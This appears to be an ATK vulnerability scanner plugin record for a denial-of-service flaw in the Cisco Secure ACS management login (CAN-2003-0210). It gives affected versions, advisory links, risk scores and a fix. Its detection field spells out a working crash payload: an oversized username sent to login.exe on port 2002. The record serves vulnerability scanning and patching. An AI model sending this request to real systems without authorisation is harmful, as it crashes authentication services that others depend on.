Plugin ID | 26 |
Plugin name | Cisco Secure ACS Management Interface Login Overflow |
Plugin filename | Cisco Secure ACS Management Login Overflow.plugin |
Plugin filesize | 3624 bytes |
Plugin family | Network devices |
Plugin created name | Marc Ruef |
Plugin created email | marc dot ruef at computec dot ch |
Plugin created web | http://www.computec.ch |
Plugin created company | computec.ch |
Plugin created date | 2003/11/14 |
Plugin updated name | Marc Ruef |
Plugin updated email | marc dot ruef at computec dot ch |
Plugin updated web | http://www.computec.ch |
Plugin updated company | computec.ch |
Plugin updated date | 2004/11/13 |
Plugin version | 1.4 |
Plugin changelog | Corrected the plugin structure and added the accuracy values in 1.4 |
Plugin protocol | tcp |
Plugin port | 2002 |
Plugin procedure detection | open|sleep|send GET /login.exe?user=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&reply=any&id=1 HTTP/1.0\n\n|sleep|close|open|sleep 5|close|pattern_exists Cisco |
Plugin detection accuracy | 90 |
Plugin comment | This plugin was written with the ATK Attack Editor. |
Bug advisory | http://www.securityfocus.com/archive/1/319576 |
Bug produced name | Cisco Systems |
Bug produced email | info at cisco dot com |
Bug produced web | http://www.cisco.com |
Bug affected | Cisco Secure ACS 2.1 to 3.11 |
Bug not affected | Cisco Secure ACS newer than 3.11 |
Bug vulnerability class | Denial Of Service |
Bug description | The Cisco Secure ACS Management Interface authenticates a user over a script named login.exe. In this the user sends the user name. If this parameter is more than 400 bytes long, the server causes to crash. You have to restart to work again. |
Bug solution | Upgrade your Cisco firmware and filter incoming traffic on port tcp/80. As workaround (disabling the web service) you could add the rule set web disabled, write, reboot into your device. |
Bug fixing time | 20 minutes |
Bug exploit availability | Yes |
Bug exploit url | http://www.securityfocus.com/bid/7413/exploit/ |
Bug remote | Yes |
Bug local | No |
Bug severity | High |
Bug popularity | 8 |
Bug simplicity | 8 |
Bug impact | 8 |
Bug risk | 8 |
Bug Nessus risk | High |
Bug check tools | Nessus is able to do the same check. |
Source CVE | CAN-2003-0210 |
Source SecurityFocus BID | 7413 |
Source Nessus ID | 11556 |
Source Literature | Hacking Exposed: Network Security Secrets & Solutions, Stuart McClure, Joel Scambray and George Kurtz, February 25, 2003, 4th Edition, McGraw-Hill Osborne Media, ISBN 0072227427 |
Source Misc. | http://www.securityfocus.com/archive/1/319483 |